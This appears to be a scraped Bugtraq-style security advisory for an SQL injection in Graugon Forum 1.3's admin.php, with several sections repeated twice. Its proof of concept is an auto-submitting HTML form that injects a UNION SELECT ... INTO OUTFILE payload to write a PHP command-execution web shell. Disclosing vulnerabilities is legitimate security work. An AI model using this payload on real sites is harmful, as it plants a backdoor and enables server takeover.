Graugon Forum 'admin.php' SQL Injection Vulnerability
BID:47180
Info
Graugon Forum 'admin.php' SQL Injection Vulnerability
| Bugtraq ID: | 47180 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 06 2011 12:00AM |
| Updated: | Apr 06 2011 12:00AM |
| Credit: | AutoSec Tools |
| Vulnerable: |
Graugon Software Group Graugon Forum 1.3 |
| Not Vulnerable: | |
Discussion
Graugon Forum 'admin.php' SQL Injection Vulnerability
Graugon Forum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Graugon Forum 1.3 is vulnerable; other versions may also be affected.
Graugon Forum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Graugon Forum 1.3 is vulnerable; other versions may also be affected.
Exploit / POC
Graugon Forum 'admin.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following proof-of-concept is available:
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/forum/admin.php">
<input type="hidden" name="email" value="'and 1=0 UNION SELECT '<?php system($_GET[&quot;CMD&quot;]); ?>','','','','','' FROM dual INTO OUTFILE '../../htdocs/shell.php';#" />
<input type="hidden" name="password" value="" />
</form>
</body>
</html>
Attackers can use a browser to exploit this issue.
The following proof-of-concept is available:
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="http://localhost/forum/admin.php">
<input type="hidden" name="email" value="'and 1=0 UNION SELECT '<?php system($_GET[&quot;CMD&quot;]); ?>','','','','','' FROM dual INTO OUTFILE '../../htdocs/shell.php';#" />
<input type="hidden" name="password" value="" />
</form>
</body>
</html>
Solution / Fix
Graugon Forum 'admin.php' SQL Injection Vulnerability
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Graugon Forum 'admin.php' SQL Injection Vulnerability
References:
References:
- Vendor Homepage (Graugon Software Group)